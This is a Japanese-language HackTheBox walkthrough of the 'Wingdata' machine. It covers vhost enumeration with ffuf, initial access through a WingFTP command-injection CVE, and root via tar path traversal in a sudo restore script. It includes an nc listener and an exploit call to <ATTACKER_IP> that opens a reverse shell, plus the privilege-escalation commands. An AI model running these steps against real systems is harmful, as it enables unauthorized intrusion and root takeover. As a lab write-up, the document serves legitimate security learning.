Wingdata — HackTheBox ウォークスルー

プラットフォーム: HackTheBox | OS: Linux

攻撃チェーン

VHost 列挙で WingFTP サーバーを発見。CVE-2025-47812 のコマンドインジェクションで初期アクセスを取得。root 権限は、細工された tar アーカイブを展開する sudo Python リストアスクリプトを経由して取得 — tar のパストラバーサルにより root として任意のファイルを書き込む。

列挙

nmap -sC -sV wingdata.htb -Pn

22/tcp open  ssh   OpenSSH
80/tcp open  http  wingdata.htb main site

wingdata.htb を /etc/hosts に追加。ポート 80 が参照していたドメインから、バーチャルホスティングが示唆された。

VHost 探索

ffuf -u http://wingdata.htb -H 'Host: FUZZ.wingdata.htb' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac

発見: ftp.wingdata.htb — WingFTP Server の Web インターフェース。

CVE-2025-47812 — WingFTP コマンドインジェクション

CVE-2025-47812 は WingFTP Server の Web インターフェースにおけるコマンドインジェクション脆弱性である。サニタイズされていないパラメータによりリバースシェルを取得できる。

nc -lvnp 4444
python3 exploit_CVE-2025-47812.py --target http://ftp.wingdata.htb --lhost <ATTACKER_IP> --lport 4444

シェルを取得。ユーザーフラグを回収。

権限昇格 — Tar パストラバーサル

sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/restore.py

/opt/restore.py は tar アーカイブを受け取り、root として展開する。tar はパスをサニタイズしない — ファイル名に ../ を含む細工されたアーカイブは、展開先ディレクトリの外にファイルを書き込む。

python3 craft_tar.py
sudo /usr/bin/python3 /opt/restore.py -b backup_888.tar

root シェルを取得。root フラグは /root/root.txt にある。

教育目的のみ。所有しているか、明示的なテスト許可を得たシステムのみをテストすること。